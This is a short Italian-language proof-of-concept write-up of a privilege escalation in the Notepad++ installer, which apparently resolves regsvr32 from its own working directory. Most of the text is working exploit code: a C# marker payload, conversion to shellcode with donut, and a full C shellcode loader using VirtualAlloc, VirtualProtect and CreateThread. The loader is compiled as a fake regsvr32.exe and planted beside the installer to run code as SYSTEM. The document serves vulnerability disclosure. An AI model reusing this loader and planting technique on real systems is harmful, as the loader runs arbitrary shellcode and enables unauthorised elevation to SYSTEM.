
Escalation dei privilegi di Notepad++
La vulnerabilità deriva da come il programma di installazione controlla regsvr32. Durante l'analisi dinamica ho scoperto che prima tenta di trovarlo nella directory di lavoro del programma di installazione, il che significa che il PATH non è tra virgolette, quindi non assoluto.
Scrivere il PoC Ho deciso di scrivere semplicemente un file .cs:
using System.IO;
public class PoC {
public static void Main() {
File.WriteAllText(@"C:\Windows\Temp\NOTEPAD_VULNERABIL.txt", "Acest fisier demonstreaza executia de cod cu privilegii de SYSTEM.");
}
}
Poi convertirlo in shellcode con donut, archiviandolo in un file header. Ho scritto un piccolo codice C per caricare quello shellcode in memoria:
#include <windows.h>
#include "payload.h"
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
unsigned int payload_len = sizeof(payload);
void * exec_mem;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (exec_mem == NULL) {
return 1;
}
RtlMoveMemory(exec_mem, payload, payload_len);
rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);
if ( rv != 0 ) {
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec_mem, 0, 0, 0);
WaitForSingleObject(th, -1);
}
return 0;
}
L'ho compilato come regsvr32.exe e l'ho archiviato nella stessa cartella del programma di installazione.